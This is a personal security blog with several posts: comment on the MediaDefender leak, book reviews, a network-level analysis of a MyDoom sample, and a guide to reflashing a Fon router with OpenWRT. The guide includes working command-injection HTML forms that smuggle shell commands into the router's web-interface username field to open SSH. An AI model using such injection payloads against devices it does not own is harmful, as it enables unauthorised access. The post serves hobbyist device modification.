I’ve been posting on the Binary Revolution Forums a bit lately, mostly in threads with a technical theme. I’m mostly doing it to sort of contribute to a place that’s popular among people just starting out in the field. Today, a link was posted about the recent attacks against MediaDefender, where a large amount of their email and intellectual property has been leaked out.

I gave the situation some thought, and I think I’m going to have to disagree with what seems to be the general consensus among internet users. I wrote up some of my thoughts and posted it, and I liked it enough that I’m adapting it into the blog post for today:

“What’s funny about this is it really exposes a lot of peer-to-peer filesharing advocates’ true position.

The services MediaDefender provide for copyright holders are designed to have a chilling effect on the filesharing of copyrighted content (they also do marketing via P2P, which is legal, and I think a pretty good use of P2P). So we have a company here that recognizes that there are legal and legitimate uses for P2P, and instead of being all “There should be legislation outlawing this”, they do the right thing and provide a technical solution to a technical problem for copyright holders. The fake files and information gathering tactics apply to situations where people are knowingly downloading content for which they have no rights. You’re not going to run into MediaDefender’s mechanisms downloading Linux ISOs and sharing independent music over P2P, like many advocates of P2P technology would have you believe they do.

It’s a neat solution. Gum up the infringing activities of P2P users while letting the protocols and those who don’t abuse them act freely. It’s a useful service for copyright holders. So what is the collective internet P2P geek reaction to them? It can be pretty much summed up as “Screw them, they deserved to get hacked, they are the devil”. Poking around a bit, I can’t really find a positive thing being said about them.

What it boils down is this: most of the people advocating peer-to-peer with the caveat of it being useful for legal content, really just want their copyright infringing uses to be safe under that blanket.”

 

The paper that I presented at the IFIP WG 11.9 digital forensics conference, “Using Search Engines to Acquire Network Forensics Evidence” (using my tool GooSweep) has been published as a chapter of the new hardcover “Advances in Digital Forensics III” from IFIP and Springer. I just received my copy today, and I’m quite proud:

More information is available over at Amazon

 

You might remember an older post here, on the “Ferret” sniffer from Errata Security. You may have even found this blog by looking for information on Ferret. Since Blackhat, my logs show a lot of hits coming from Google searches for Ferret. I suppose they saw the presentation on Hamster and wanted some more information on the older tool.

You might also remember that I wasn’t very kind to Ferret. It was an unimpressive tool with an unimpressive implementation, and didn’t really bring anything new to the table to warrant the attention it was getting. Hamster really isn’t any better. This time, instead of sniffing out passwords for various protocols, it steals session cookies and performs man-in-the-middle attacks.

It’s a powerful demonstration to those who have never seen this sort of attack before, but it’s nothing that kids haven’t been doing with existing tools for years. pdp at gnucitizen has really summed up how I feel about it in his post:

Hamster plus Hotspot equals Web 2.0 meltdown NOT

 

HD Moore has placed the slides online for the talk he and Valsmith gave on “Tactical Exploitation” yesterday at Black Hat. I normally don’t like just reading through the slides for a talk, but until I can obtain some audio/video this’ll definitely do. One of the reasons I don’t like having only the slides is that it’s often hard to follow without narration. That is definitely not the case with these. It’s packed with good ideas for testing the security of an organization, and covers a lot of aspects that make up a good penetration test, rather than simply a vulnerability scan.

This is highly recommended reading!

HD Moore’s conference slides

Direct link to the slides (pdf).

 

If you already have one of these very popular and versatile routers, are in need of a good platform for small-scale network infrastructure, or want to use the WRT as a platform for penetration testing, then “Linksys WRT54G Ultimate Hacking” is a must-have. I read this book cover-to-cover this weekend, in-between moving things around for repairs to our kitchen and bathroom, and was very impressed with the content. In addition to the WRT54G running OpenWRT right now as my home network’s router, I have an untouched WRT54GS Version 3.0 sitting on my shelf right now. After reading this book, I can’t wait to pull it down and try some of the projects.

The form-factor is like any other Syngress book. What Syngress lacks in creative cover design, they make up for in consistency and readability. You can tell what book this is on your shelf from across the room, with the big red “LINKSYS WRT54G” dominating the title on the spine. At a glance, someone might think it’s the manual for the WRT54G, which isn’t far from the truth. After getting rid of the default firmware and going with one of the options from this book, “Linksys WRT54G Ultimate Hacking” should serve as a good manual for future activities. The back cover promises that you will be given access to a PDF version of the book by registering on-line for the Syngress “Solutions” program (free). This will be very useful, and will add to the value of this book for road warriors. At the time of writing this review, Syngress’ website hasn’t been updated to allow members to add this book to their Solutions account, though presumably it will be added soon.

Beyond being a simple how-to on flashing firmware, “Linksys WRT54G Ultimate Hacking” serves to present an entire body of knowledge on Linksys’ routers that the authors (Paul Asadoorian and Larry Pesce) have spent some time bringing together and testing. Most of the information in this book is out there on the Internet already, in various forum posts, mailing lists, wikis, and code repositories. However, unless you can afford to spend the time to sift through it for what’s useful to you, test it out, and work out the bugs, you are much better off getting this book. The authors have also supplied many external sources that the reader can refer to for more information, when things start getting out of the scope of the book.

The authors recognize that there are many different kinds of users that will want to run 3rd-party firmware on their Linksys routers, and helpfully break things down for each type. Everyone, from casual users who simply want a more stable firmware than the default, to (and of interest to this site) penetration testers, will find something useful in this book. More importantly, they can find what they need quickly, since the various user-types and projects are well organized and easy to find in the table of contents. The introduction to wireless security in Chapter 5 is very well written and will bring a lot of readers up to speed on the topic, at least in regard to securing their own networks.

The projects in the book are very interesting, especially those for penetration testers. I’m very interested in playing with Kismet on the WRT54G, the captive portal software, and using the router to set up VPN connections for remote testing. I may even get brave enough to crack one open and add an SD card slot. Scripts are presented for most projects, and for each, a link is given to the book’s website, where the authors may ensure that they are always available for download. Potential buyers of this book should be aware that some of the projects in the book require a router with a USB port (WRTSL54GS), including the spectrum analysis project discussed on the front cover.

My complaints about this book are small. There appear to be problems with the way some of the screenshots were printed. The ones in question (page 183, for example) are readable, but have a strange dark rectangle to the right that has a stretched version of a portion of the screenshot. Other figures are low resolution, and occasionally have obvious JPEG compression artefacts (such as on page 5). It never keeps the figure from being readable, although perhaps in future editions or books, figures could be created at the appropriate resolution and lossless format.

A chapter was cut from this book, “Chapter 7 – Developing Software for the WRT54G – Tools required, Coding and Testing, Making Packages”, that I believe would have been well-worth the additional space. Being able to develop and build one’s own packages is the logical next step for what is covered in this book, and would have given some insight to how the software used in the book’s projects were put together. This chapter would make an excellent addition to the book’s website, http://wrt54ghacks.com/ (which has potential to be a very good site).

Throughout the book, there are a few references to generating passwords using Steve Gibson’s web-based password generator at https://www.grc.com/passwords.htm. This is very surprising, considering the authors’ (completely warranted) distaste for Gibson on their podcast (Pauldotcom Security Weekly). Personally, despite the SSL, an assurance that passwords generated are not logged, and the fact that it’s labeled “Ultra High Security Password Generator”, I would not recommend that anyone use a web-based system for generating passwords. You’re involving an outsider that you can’t really measure how much you trust, when it’s just as easy to use software meant to run on your local machines to generate random passwords.

These complaints are not show stoppers and do not really impact the quality of this book. It’s very well written and brings together a body of knowledge that you won’t find in one place anywhere else. I would especially recommend it to security professionals who might be able to use OpenWRT as a platform for remote access, reconnaissance and exploitation.

 

Many thanks to the PaulDotCom podcast crew for mentioning this on the latest show (Episode 69). I had apparently missed out on it before now, and it sounds great.

VoiPong is a sniffer that picks up on all sorts of VoIP protocols, decodes the traffic, and saves them to .wav files. How cool is that :) ? Looking at the site’s news and the file dates, the latest version is a couple of years old, which makes it even more stupefying that I’ve missed this.

There’s a Live CD too, if that’s the sort of thing you’re into. I’ll probably play with this a bit and if it’s a lot of fun (as it seems to be), I’ll post about it.

 

Lately I’ve been reading Eldad Eilam’s “Reversing: Secrets of Reverse Engineering”, working through all of the exercises and such. I need to build up my skills at really low level workings of Windows, static analysis of disassembled code, and debugging a live process more effectively. This is the perfect book for that, so I’ve been really enjoying it.

When I received some malware, attached to a “Message could not be delivered” email, I figured I’d play with it bit, as I often enjoy doing. Now, this is the sort of thing VMWare Server is excellent for. If you ‘re running Ubuntu, check here for a nice writeup on getting it going on 6.10. For Feisty, check my comments :) . I can create a checkpoint before I load the malware onto the system, and then rewind it back to that clean state whenever needed.

I already had an Windows XP VM that I was using OllyDbg in, working through Eilam’s examples, so I figured it’d be fun to load up some malware and see what I could do. Unfortunately, I’m not far enough into the book yet to beat this malware’s executable packing and anti-debugging features ;) . Not to be discouraged, I dropped back to my one of my usual techniques for analyzing malware: seeing how it interacts with the network.

For this, I could run Wireshark in the host OS (Linux) without fear of the malware affecting it. Here’s some notes:

As you can see, this executable tries hard to make itself look like an HTML file (that’s a “.com” at the end of all those spaces). A proper icon would have helped though.

I was very happy that, when I ran the malware, the Windows Firewall popped up to ask me if I wanted to let it access the network. The malware was smart enough to call itself “services”, which is innocuous enough for a lot of people. For the purposes of testing, I went ahead and allowed it.

After a while of sniffing traffic, I stopped the Wireshark capture, and began restoring the VM back to a clean slate. The traffic mostly consisted of email (sending out copies of itself, boring and unsuccessful), and web traffic (much more interesting). So, if you want to take a look at the sort of web requests are being made in a packet dump, here’s a nice display filter…

This filter resulted in a large number of searches on lots of search engines, presumably looking for more email addresses to spread to on sites that it found in my browser history:

I’m impressed by the wide variety of search engines and terms that I’ve seen it use. I do, however, question the practicality of mining debian.org for people vulnerable to Windows malware ;-)

So, for this exercise, I intentionally didn’t search out any information about the virus beforehand, but this is always a good idea. Google the md5 hash of the malware you get your hands on, run strings over it and search for any unique strings, and anything else you can think of. Anytime you can find someone who’s already done analysis for you, you have saved some time. Just be sure to verify their results, because they may not know what they’re doing, or maybe you have a new variant.

For the sake of completeness, here’s what VirusTotal.com had to say about this malware:


Antivirus Version Update Result
AhnLab-V3 2007.5.16.1 05.16.2007 Win32/MyDoom.worm.40960.B
AntiVir 7.4.0.23 05.16.2007 Worm/Mydoom.BB.1
Authentium 4.93.8 05.16.2007 W32/Mydoom.BF@mm
Avast 4.7.997.0 05.16.2007 Win32:Mydoom-L2
AVG 7.5.0.467 05.16.2007 I-Worm/Mydoom
BitDefender 7.2 05.17.2007 Win32.Mydoom.AQ@mm
CAT-QuickHeal 9.00 05.16.2007 I-Worm.Mydoom.m
ClamAV devel-20070416 05.16.2007 Worm.Mydoom.M-unp
DrWeb 4.33 05.16.2007 Win32.HLLM.MyDoom.54464
eSafe 7.0.15.0 05.16.2007 Win32.Mydoom.bf
eTrust-Vet 30.7.3638 05.17.2007 Win32/Mydoom.BA
Ewido 4.0 05.16.2007 Worm.Mydoom.m
FileAdvisor 1 05.17.2007 no virus found
Fortinet 2.85.0.0 05.17.2007 W32/MyDoom.BE@mm
F-Prot 4.3.2.48 05.16.2007 W32/Mydoom.BC@mm
F-Secure 6.70.13030.0 05.17.2007 Email-Worm.Win32.Mydoom.am
Ikarus T3.1.1.7 05.16.2007 Email-Worm.Win32.Mydoom.m
Kaspersky 4.0.2.24 05.17.2007 Email-Worm.Win32.Mydoom.am
McAfee 5032 05.16.2007 W32/Mydoom.bf@MM
Microsoft 1.2503 05.17.2007 Worm:Win32/Mydoom.BF@mm
NOD32v2 2272 05.17.2007 Win32/Mydoom.AX
Norman 5.80.02 05.16.2007 W32/MyDoom.AU@mm
Panda 9.0.0.4 05.16.2007 W32/Mydoom.AT.worm
Prevx1 V2 05.17.2007 no virus found
Sophos 4.17.0 05.16.2007 W32/MyDoom-BE
Sunbelt 2.2.907.0 05.17.2007 VIPRE.Suspicious
Symantec 10 05.17.2007 W32.Mydoom.BB@mm
TheHacker 6.1.6.115 05.15.2007 W32/Mydoom.am
VBA32 3.12.0 05.16.2007 MalwareScope.Email-Worm.Mydoom.1
VirusBuster 4.3.7:9 05.16.2007 I-Worm.MyDoom.BC
Webwasher-Gateway 6.0.1 05.17.2007 Worm.Mydoom.BB.1
Aditional Information
File size: 41312 bytes
MD5: 34e99b96a132caac09c5f3c4f4db7636
SHA1: 9c25a1841dc4ac0eb0503f1a8707e9cbab9f6eb2
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.

I’m going to assume that FileAdvisor and Prevx1 just had a bad day or some kind of glitch, because I’m not sure why else they wouldn’t be able to recognize MyDoom. As long as you’re using pretty much anything else, it looks like you’re safe!

…or you could just use VMWare and restore to a clean state after your questionable activities ;) .

 

Tonight, here in Starkville, MS, I taught my first of what will hopefully be many training classes for SANS. Tonight, 8 very bright students (mostly IT staff for the university), took part in the “Stay Sharp: IP Packet Analysis”. I say they “took part”, rather than “attended”, as each and every single one of them were contributed a lot and turned the class into a very collaborative learning experience. I think everyone walked out with a few new tricks up their sleeves, including myself.

Many thanks to my talented wife, Crystal, for making the refreshments enjoyable this wonderful creation:

Dinner afterwards at the Bulldog Deli with a handful of the students was a great way to wind down too!

I’m really looking forward to teaching more of these classes, and participating in improving and developing course materials. Stay tuned!

 

UPDATE : Brett Hoff and Russell Butturini have made some notes of their own to go with these notes, to clarify some of the things that have changed in newer versions of Kamikaze and the Fon, gotchas with non-Apache webservers, and a few other things you might have problems with. Those notes are available here.

I’m very proud of my new toy. These Fon Fonera routers are really what the security geek ordered, and they’re usually pretty cheap on ebay. Check out this guy’s picture of one next to his mouse. They’re tiny! It can be hard enough to find a WRT54G duct-taped up behind a cubicle wall, so imagine where you could put that thing! It’s also handy to have something like this in your laptop bag to set up wireless networks out in the field, bridge a wireless network over to a wired, wireless honeypots, or any number of other strange configurations you might want to set up.

I’ll probably cover some interesting things you can do with routers like this in future posts, but for now, we need to get this thing into useful shape. By default, the Fonera firmware (which is based on OpenWRT) sets up private and public SSIDs, phones home to the folks at Fon, and other things undesirable for our purposes. I have replaced the Fonera’s default firmware with the latest snapshot of OpenWRT, and I tried to take some notes on the process. Hopefully if you get your hands on one of these, you can follow along:

Big warning: Don’t connect the Fon up to the Internet at all until you finish getting a fresh install of OpenWRT on it. It will probably update itself with new firmware from Fon and lock you out of having any fun at all with it.

Through this, the following sites were very helpful. A lot of the steps are pinched and adapted from them:

The first order of business is to figure out what version of the firmware I have. The default firmware’s status page helps with this:

We don’t want to turn it into a useless brick in the process of flashing it, and we’re in luck, because the device uses an implementation of RedBoot. To make things easy, we want to enable RedBoot’s ability to listen on the wired Ethernet side for a telnet session on boot. That way, if we screw up, we can always go back into RedBoot and fix it. We’ll also flash it in RedBoot.

To enable RedBoot, we need to get a shell on the default firmware. There’s not an SSH server listening by default, but we’re going to turn one on through a command injection exploit on the web interface. It’s pretty trivial, and it works well on the 0.7.1-r1 version. If you have a newer version, you’ll want to check around to see how to revert it (it might be as simple as holding down the reset button to reset it back to 0.7.1-r1), or if there are new exploits.

You’ll create two html files that submit the right input to the web interface. Go ahead and connect to the Fon’s private network SSID “MyPlace”. First, we want to set up iptables to allow traffic on the SSH port (just save this HTML to your hard drive in a .html file, view it in your web browser, and click submit):


<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>

</body>
</html>

Now, we want to actually start the dropbear SSH server:


<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>

</body>
</html>

You should be able to SSH into your Fon on port 22 of its IP address (192.168.10.1). You’ll want to set up dropbear to run whenever you reboot the Fon, too:

weasel@hacktop:~$ ssh root@192.168.10.1
The authenticity of host '192.168.10.1 (192.168.10.1)' can't be established.
RSA key fingerprint is 69:52:42:17:fd:b0:97:1a:5f:33:8d:5a:f0:5b:8a:dc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.10.1' (RSA) to the list of known hosts.
root@192.168.10.1's password:

BusyBox v1.1.3 (2006.11.21-19:49+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

 _______  _______  _______
|   ____||       ||   _   |
|   ____||   -   ||  | |  |
|   |    |_______||__| |__|
|___|

 Fonera Firmware (Version 0.7.1 rev 1) -------------
  *
  * Based on OpenWrt - http://openwrt.org
  * Powered by FON - http://www.fon.com
 ---------------------------------------------------
root@OpenWrt:~# mv /etc/init.d/dropbear /etc/init.d/S50dropbear

Also, use vi to uncomment the two lines in /etc/firewall.user that allow connections on port 22.

To enable RedBoot over Ethernet, you’ll need a modified kernel and a new RedBoot config. For convenience, I set up a web server on the computer I configured my Fon on, downloaded those files, and placed them in the root directory. From here on out, I’ll assume you’ve done the same, know what IP address it’s listening on, and will substitute it in as needed.

Next, get the modified kernel and RedBoot config onto your Fon and apply them:

root@OpenWrt:~# wget http://192.168.10.183/out.hex
Connecting to 192.168.10.183[192.168.10.183]:80
out.hex              100% |*******************************************************|  4096       00:00 ETA
root@OpenWrt:~# wget http://192.168.10.183/openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma
Connecting to 192.168.10.183[192.168.10.183]:80
openwrt-ar531x-2.4-v 100% |*******************************************************|   512 KB    00:00 ETA
root@OpenWrt:~# mtd -e vmlinux.bin.l7 write openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma vmlinux.bin.l7
Unlocking vmlinux.bin.l7 ...
Erasing vmlinux.bin.l7 ...
Writing from openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma to vmlinux.bin.l7 ...  [w]
root@OpenWrt:~# reboot

After it finishes rebooting, SSH in and continue…

root@OpenWrt:~# mtd -e "RedBoot config" write out.hex "RedBoot config"
Unlocking RedBoot config ...
Erasing RedBoot config ...
Writing from out.hex to RedBoot config ...  [w]

Once that finishes, your Fon probably won’t reboot correctly. No big deal. We’ll be going into RedBoot to flash the new OpenWRT. Redboot listens on port 9000 of 192.168.1.254 for about ten seconds upon boot before it moves on. You have ten seconds to send Ctrl-C on this port to stop it and allow you to interact with RedBoot. It’s easiest to just use this script, redboot.pl, to connect to RedBoot. Leave it running on the computer you’re configuring this from, plug in the router, and it’ll connect up for you and leave you at a RedBoot prompt.

weasel@hacktop:~$ ./redboot.pl 192.168.1.254

Snipped out a bunch of “unreachable” messages

192.168.1.254 is unreachable
192.168.1.254 is alive
-> == Executing boot script in 7.080 seconds - enter ^C to abort
<- ^C
Trying 192.168.1.254...
Connected to 192.168.1.254.
Escape character is '^]'.
RedBoot>

Once we have RedBoot working, we can flash the Fon with the latest OpenWRT. Go to the OpenWRT download site here, download “openwrt-atheros-2.6-vmlinux.lzma” and “openwrt-atheros-2.6-root.jffs2-64k”, and then place them in the root directory of the web server you’re running.

Connect up to RedBoot again, and use the following commands to initialize the memory on the Fon, configure the network settings (with your own computer/web server instead of 192.168.1.5), and write OpenWRT to the Fon. Note that these commands take some time, especially when you write the root filesystem. Play some Sudoku or something:

RedBoot> ip_address -l 192.168.1.254/24 -h 192.168.1.5
IP: 192.168.1.254/255.255.255.0, Gateway: 0.0.0.0
Default server: 192.168.1.5
RedBoot> fis init
About to initialize [format] FLASH image system - continue (y/n)? y
*** Initialize FLASH Image System
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> load -r -v -b 0x80040450 /openwrt-atheros-2.6-root.jffs2-64k -m HTTP
-
Raw file loaded 0x80040450-0x801e044f, assumed entry at 0x80040450
RedBoot> fis create -b 0x80040450 -f 0xA8030000 -l 0x00700000 -e 0x00000000 rootfs
... Erase from 0xa8030000-0xa8730000: ................................................................................................................
... Program from 0x80040450-0x80740450 at 0xa8030000: ................................................................................................................
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> load -r -v -b %{FREEMEMLO} /openwrt-atheros-2.6-vmlinux.lzma -m HTTP
-
Raw file loaded 0x80040800-0x800f07ff, assumed entry at 0x80040800
RedBoot> fis create -r 0x80041000 -e 0x80041000 vmlinux.bin.l7
... Erase from 0xa8730000-0xa87e0000: ...........
... Program from 0x80040800-0x800f0800 at 0xa8730000: ...........
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> fis load -l vmlinux.bin.l7
Image loaded from 0x80041000-0x80289086
RedBoot> exec

(Edit: Note that for the line “fis create -b 0×80040450 -f 0xA8030000 -l 0×00700000 -e 0×00000000 rootfs”, you may need to use “-l 0x006F0000″ instead of “-l 00700000″, since the Kamikaze kernel has apparently grown since I wrote this. Thanks to DmnHunter on #pauldotcom for the tip!)

The last command starts up the new system. Give it some time to boot up, and it should show up on 192.168.1.1. Now, you can telnet in, and set a password if you like (which will automatically set up an ssh server for you).

Congratulations! If it worked as well for you as it did for me, you’re running a fresh install of OpenWRT on your Fon. You might want to start reading up on the OpenWRT Wiki about how to configure the Kamikaze version of OpenWRT. I’ll also post some scripts, hints, and tricks to this blog as I come up with them (especially when it’s of interest to the security community).

 

Several times a day, I get notification that there are new comments on this blog, waiting for moderator approval…

…unfortunately, they’re not adoring fans :) . It’s always “comment-spam”, trying hard to place some advertising on my site for refinancing of mortgages, various pills, porn, and who-knows-what-else. It’s typically from many different IP addresses, so the actual spammers are almost certainly hiding their identity. Today, I figured I’d take a closer look.

I had assumed that I’d find a set of computers, of similar operating systems and configurations, as part of a botnet being used for this sort of thing. After seeing the results and giving it some thought, it’s obvious that a botnet would be unnecessary for this sort of endeavor. There are plenty of machines out there ready to do one’s bidding for comment spam, without having to build an elaborate net.

What I have found is a lot of machines running wide open web proxies, on common ports such as 3128 and 8080. Running the IP’s through GooSweep shows that these specific proxies are on many lists of proxies, blacklists, not to mention tons of blog comments. The spammers are keeping the proxies busy, and it’s amazing that some of them have been up as long as they have (on the order of weeks).

Most script-kiddies find proxies like this by scanning ranges on common ports. Me? I get them delivered by email on a daily basis.

© 2012 McGrew Security Suffusion theme by Sayontan Sinha